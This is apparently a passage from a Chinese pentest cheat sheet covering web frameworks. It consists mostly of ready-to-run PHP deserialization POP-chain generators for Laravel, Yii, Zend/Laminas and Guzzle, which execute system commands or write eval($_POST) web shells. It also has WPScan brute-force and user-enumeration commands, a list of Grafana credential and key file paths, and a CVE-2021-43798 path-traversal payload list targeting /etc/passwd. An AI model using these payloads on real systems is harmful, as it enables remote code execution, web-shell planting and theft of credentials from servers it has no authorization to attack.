        protected $queueResolver;
        function __construct()
        {
        $this->queueResolver = "system";
        }
        }
        }

        namespace Illuminate\Broadcasting{

        use Illuminate\Contracts\Queue\ShouldQueue;

        class BroadcastEvent implements ShouldQueue {
        function __construct()
        {
        }
        }
        class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
        $this->event = new BroadcastEvent();
        $this->event->connection = "whoami";
        $this->events = new \Illuminate\Bus\Dispatcher();
        }
        }
        }
        namespace{
        $a = new \Illuminate\Broadcasting\PendingBroadcast();
        echo base64_encode(serialize($a));
        }

        b.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        <?php
        namespace Faker{
        class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
        $this->formatter = "register";
        $this->formatters = 9999;
        }

        }
        }
        namespace Illuminate\Routing{
        class PendingResourceRegistration{
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options = [];
        protected $registered = false;
        function __construct()
        {
        $this->registrar = new \Faker\Generator();
        $this->name = "d:/var/www/untitiled/public/1.php";
        $this->controller = '<?php phpinfo();?>';
        $this->options = 8;
        }

        }
        }

        namespace Symfony\Component\Mime\Part{
        abstract class AbstractPart
        {
        private $headers = null;
        }
        class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
        $this->_headers = ["register"=>"file_put_contents"];
        $this->inhann = new \Illuminate\Routing\PendingResourceRegistration();
        }
        }
        }


        namespace{
        $a = new \Symfony\Component\Mime\Part\SMimePart();
        $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
        echo base64_encode(str_replace("i:9999","R:2",$ser));
        }

        c.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        <?php
        namespace GuzzleHttp\Cookie{
        class SetCookie
        {
        private static $defaults = [
        'Name' => null,
        'Value' => null,
        'Domain' => null,
        'Path' => '/',
        'Max-Age' => null,
        'Expires' => null,
        'Secure' => false,
        'Discard' => false,
        'HttpOnly' => false
        ];
        function __construct()
        {
        $this->data['Expires'] = '<?php phpinfo();?>';
        $this->data['Discard'] = 0;
        }
        }
        class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct()
        {
        $this->cookies[] = new SetCookie();
        }
        }
        class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function __construct()
        {
        parent::__construct();
        $this->filename = "d:/var/www/untitled/public/shell.php";
        $this->storeSessionCookies = true;
        }
        }
        }
        namespace{
        $a = new \GuzzleHttp\Cookie\FileCookieJar();
        echo base64_encode(serialize($a));
        }

        d.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        <?php
        namespace Faker{
        class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
        $this->formatter = "dispatch";
        $this->formatters = 9999;
        }

        }
        }

        namespace Illuminate\Broadcasting{
        class PendingBroadcast
        {
        public function __construct()
        {
        $this->event = "calc.exe";
        $this->events = new \Faker\Generator();
        }
        }
        }

        namespace Symfony\Component\Mime\Part{
        abstract class AbstractPart
        {
        private $headers = null;
        }
        class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
        $this->_headers = ["dispatch"=>"system"];
        $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
        }
        }
        }

        namespace{
        $a = new \Symfony\Component\Mime\Part\SMimePart();
        $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
        echo base64_encode(str_replace("i:9999","R:2",$ser));
        }

Yii

  • 版本

    a. 在controllers目录新建TestController.php控制器,打开TestController.php文件输入<?php echo Yii::getVersion(); ?>,访问Yii项目中的test控制器下的indexindex.php?r=test

    b. /vendor/yiisoft/yii2/BaseYii.php

  • 2.0.x

    • <2.0.37

      • 反序列化

        a. yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

        b. yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\CreateAction::run()

        c.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        <?php
        namespace yii\rest{
        class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
        $this->checkAccess = 'assert';
        $this->id = 'file_put_contents("1.php","<?php eval(\$_POST[0]);?>");exit();';
        }
        }
        }
        namespace yii\db{
        use yii\web\DbSession;
        class BatchQueryResult
        {
        private $_dataReader;
        public function __construct(){
        $this->_dataReader=new DbSession();
        }
        }
        }
        namespace yii\web{
        use yii\rest\IndexAction;
        class DbSession
        {
        public $writeCallback;
        public function __construct(){
        $a=new IndexAction();
        $this->writeCallback=[$a,'run'];
        }
        }
        }
        namespace{
        use yii\db\BatchQueryResult;
        echo base64_encode(serialize(new BatchQueryResult()));
        }
  • 2.0.38

    • 反序列化

      a. Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

      b. Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()

  • 2.0.42

    • 反序列化

      yii 2.0.42 最新反序列化利用全集

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      <?php
      namespace Codeception\Extension{
      use Prophecy\Prophecy\ObjectProphecy;
      class RunProcess{
      private $processes = [];
      public function __construct(){
      $a = new ObjectProphecy('1');
      $this->processes[]=new ObjectProphecy($a);
      }
      }
      echo urlencode(serialize(new RunProcess()));
      }
      namespace Prophecy\Prophecy{
      use Prophecy\Doubler\LazyDouble;
      class ObjectProphecy{
      private $lazyDouble;
      private $revealer;
      public function __construct($a){
      $this->revealer=$a;//一个调用自己的对象
      $this->lazyDouble=new lazyDouble();
      }
      }
      }
      namespace Prophecy\Doubler{
      use Prophecy\Doubler\Doubler;
      class LazyDouble{
      private $doubler;
      private $class;
      private $interfaces;
      private $arguments;
      private $double=null;
      public function __construct(){
      $this->doubler = new Doubler();
      $this->arguments=array('x'=>'x');
      $this->class=new \ReflectionClass('Exception');
      $this->interfaces[]=new \ReflectionClass('Exception');
      }
      }
      }
      namespace Faker{
      class DefaultGenerator{
      protected $default;
      public function __construct($default){
      $this->default = $default;
      }
      }
      }

      namespace Prophecy\Doubler\Generator\Node{
      class ClassNode{}
      }
      namespace Prophecy\Doubler{
      use Faker\DefaultGenerator;
      use Prophecy\Doubler\Generator\ClassCreator;
      use Prophecy\Doubler\Generator\Node\ClassNode;
      class Doubler{
      private $namer;
      private $mirror;
      private $patches;
      private $creator;
      public function __construct(){
      $name='x';
      $node=new ClassNode();
      $this->namer=new DefaultGenerator($name);
      $this->mirror=new DefaultGenerator($node);
      $this->patches=array(new DefaultGenerator(false));
      $this->creator=new ClassCreator();
      }
      }
      }
      namespace Prophecy\Doubler\Generator{
      use Faker\DefaultGenerator;
      class ClassCreator{
      private $generator;
      public function __construct(){
      $this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
      }
      }
      }

      b.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      <?php
      namespace Codeception\Extension{
      use Faker\UniqueGenerator;
      class RunProcess{
      private $processes = [];
      public function __construct(){
      $this->processes[]=new UniqueGenerator();
      }
      }
      echo urlencode(serialize(new RunProcess()));
      }
      namespace Faker{
      use Symfony\Component\String\LazyString;
      class UniqueGenerator{
      protected $generator;
      protected $maxRetries;
      public function __construct(){
      $a = new LazyString();
      $this->generator = new DefaultGenerator($a);
      $this->maxRetries = 2;
      }
      }
      class DefaultGenerator{
      protected $default;
      public function __construct($default = null){
      $this->default = $default;
      }
      }
      }
      namespace Symfony\Component\String{
      class LazyString{
      private $value;
      public function __construct(){
      include("closure/autoload.php");
      $a = function(){phpinfo();};
      $a = \Opis\Closure\serialize($a);
      $b = unserialize($a);
      $this->value=$b;
      }
      }
      }

Joomla!

Wordpress

  • 扫描器 WPScan

    扫描站点:wpscan --url http://xxxx

    扫描主题:wpscan --url http://xxxx --enumerate t

    扫描主题存在漏洞:wpscan --url http://xxxx --enumerate vt

    扫描安装插件:wpscan --url http://xxxx --enumerate p

    扫描安装插件漏洞:wpscan --url http://xxxx --enumerate vp

    枚举用户:wpscan --url http://xxxx --enumerate u

    暴力破解:

    wpscan --url http://xxxx --wordlist 密码字典 --username 用户名或者密码字典

    wpscan --url xxxx -P /root/Desktop/top10000.txt -U admin

  • 插件

Zend

Zend FrameWork Pop Chain

  • zend framework 1

    • 反序列化

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      <?php

      class Zend_Mail
      {

      }
      class Zend_Log
      {
      protected $_writers;
      function __construct()
      {
      $this->_writers = [new Zend_Log_Writer_Mail()];
      }

      }

      class Zend_Log_Writer_Mail
      {

      protected $_eventsToMail;
      protected $_mail;
      protected $_layoutEventsToMail;
      protected $_layout;
      function __construct()
      {
      $this->_mail = new Zend_Mail();
      $this->_eventsToMail = [1];
      $this->_layoutEventsToMail = "";
      $this->_layout = new Zend_Config_Writer_Yaml();
      }
      }

      class Zend_CodeGenerator_Php_File
      {
      protected $_filename;
      protected $_body;
      function __construct()
      {
      $this->_filename = "a.php";
      $this->_body = '@eval(base64_decode($_POST[1]));';
      }
      }

      class Zend_Config
      {
      protected $_data;
      protected $_loadedSection;
      protected $_extends;
      function __construct()
      {
      $this->_loadedSection = "Mrkaixin";
      $this->_data = [];
      $this->_extends = "Mrkaixin";
      }
      }

      class Zend_Config_Writer_Yaml
      {
      protected $events;
      protected $_config;
      protected $_yamlEncoder;
      function __construct()
      {
      $this->events = "Mrkaixin";
      $this->_config = new Zend_Config();
      $this->_yamlEncoder = [new Zend_CodeGenerator_Php_File(), 'write'];
      }
      }

      echo base64_encode(serialize(new Zend_Log()));

Laminas

Zend FrameWork Pop Chain

  • 入口

    action: http://your-ip/public/index.php/application[/:action]

  • zend framework 4

    • 反序列化+RCE

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      <?php
      namespace Zend\View\Renderer;
      use Zend\Config\Config;

      class PhpRenderer
      {
      function __construct()
      {
      $this->__helpers = new Config();
      }

      }
      namespace Zend\Config;

      class Config {
      protected $data = [];
      function __construct()
      {
      $this->data = ['shutdown'=>"phpinfo"];
      }
      }

      namespace Zend\Log;

      use Zend\View\Renderer\PhpRenderer;

      class Logger
      {
      protected $writers;
      function __construct()
      {
      $this->writers = [new PhpRenderer()];
      }

      }
      echo base64_encode(serialize(new Logger()));

      b.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      <?php
      namespace Laminas\View\Resolver{
      class TemplateMapResolver{
      protected $map = ["setBody"=>"system"];
      }
      }
      namespace Laminas\View\Renderer{
      class PhpRenderer{
      private $__helpers;
      function __construct(){
      $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
      }
      }
      }

      namespace Laminas\Log\Writer{
      abstract class AbstractWriter{}
      class Mail extends AbstractWriter{
      protected $eventsToMail = ["ls"];
      protected $subjectPrependText = null;
      protected $mail;
      function __construct(){
      $this->mail = new \Laminas\View\Renderer\PhpRenderer();
      }
      }
      }

      namespace Laminas\Log{
      class Logger{
      protected $writers;
      function __construct(){
      $this->writers = [new \Laminas\Log\Writer\Mail()];
      }
      }
      }

      namespace{
      $a = new \Laminas\Log\Logger();
      echo base64_encode(serialize($a));
      }

Grafana

  • 重要文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    /usr/sbin/grafana-server
    /etc/init.d/grafana-server
    /etc/default/grafana-server
    /etc/grafana/grafana.ini
    /var/log/grafana/grafana.log
    /var/lib/grafana/grafana.db
    /usr/share/grafana

    /conf/defaults.ini
    /etc/passwd
    /etc/shadow
    /home/grafana/.bash_history
    /home/grafana/.ssh/id_rsa
    /root/.bash_history
    /root/.ssh/id_rsa
    /usr/local/etc/grafana/grafana.ini
    /proc/net/fib_trie
    /proc/net/tcp
    /proc/self/cmdline
  • 2.6.0

    • 任意文件读取

      CVE-2021-43798

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      /public/plugins/alertGroups/../../../../../../../../etc/passwd
      /public/plugins/alertlist/../../../../../../../../etc/passwd
      /public/plugins/alertmanager/../../../../../../../../etc/passwd
      /public/plugins/annolist/../../../../../../../../etc/passwd
      /public/plugins/barchart/../../../../../../../../etc/passwd
      /public/plugins/bargauge/../../../../../../../../etc/passwd
      /public/plugins/canvas/../../../../../../../../etc/passwd
      /public/plugins/cloudwatch/../../../../../../../../etc/passwd
      /public/plugins/dashboard/../../../../../../../../etc/passwd
      /public/plugins/dashlist/../../../../../../../../etc/passwd
      /public/plugins/debug/../../../../../../../../etc/passwd
      /public/plugins/elasticsearch/../../../../../../../../etc/passwd
      /public/plugins/gauge/../../../../../../../../etc/passwd
      /public/plugins/geomap/../../../../../../../../etc/passwd
      /public/plugins/gettingstarted/../../../../../../../../etc/passwd
      /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
      /public/plugins/grafana/../../../../../../../../etc/passwd
      /public/plugins/graph/../../../../../../../../etc/passwd
      /public/plugins/graphite/../../../../../../../../etc/passwd
      /public/plugins/heatmap/../../../../../../../../etc/passwd
      /public/plugins/histogram/../../../../../../../../etc/passwd
      /public/plugins/influxdb/../../../../../../../../etc/passwd
      /public/plugins/jaeger/../../../../../../../../etc/passwd
      /public/plugins/live/../../../../../../../../etc/passwd
      /public/plugins/logs/../../../../../../../../etc/passwd
      /public/plugins/loki/../../../../../../../../etc/passwd
      /public/plugins/mixed/../../../../../../../../etc/passwd
      /public/plugins/mssql/../../../../../../../../etc/passwd
      /public/plugins/mysql/../../../../../../../../etc/passwd
      /public/plugins/news/../../../../../../../../etc/passwd
      /public/plugins/nodeGraph/../../../../../../../../etc/passwd
      /public/plugins/opentsdb/../../../../../../../../etc/passwd
      /public/plugins/piechart/../../../../../../../../etc/passwd
      /public/plugins/pluginlist/../../../../../../../../etc/passwd
      /public/plugins/postgres/../../../../../../../../etc/passwd
      /public/plugins/prometheus/../../../../../../../../etc/passwd
      /public/plugins/stat/../../../../../../../../etc/passwd
      /public/plugins/state-timeline/../../../../../../../../etc/passwd
      /public/plugins/status-history/../../../../../../../../etc/passwd
      /public/plugins/table-old/../../../../../../../../etc/passwd
      /public/plugins/table/../../../../../../../../etc/passwd
      /public/plugins/tempo/../../../../../../../../etc/passwd
      /public/plugins/testdata/../../../../../../../../etc/passwd
      /public/plugins/text/../../../../../../../../etc/passwd
      /public/plugins/timeseries/../../../../../../../../etc/passwd
      /public/plugins/welcome/../../../../../../../../etc/passwd
      /public/plugins/xychart/../../../../../../../../etc/passwd
      /public/plugins/zipkin/../../../../../../../../etc/passwd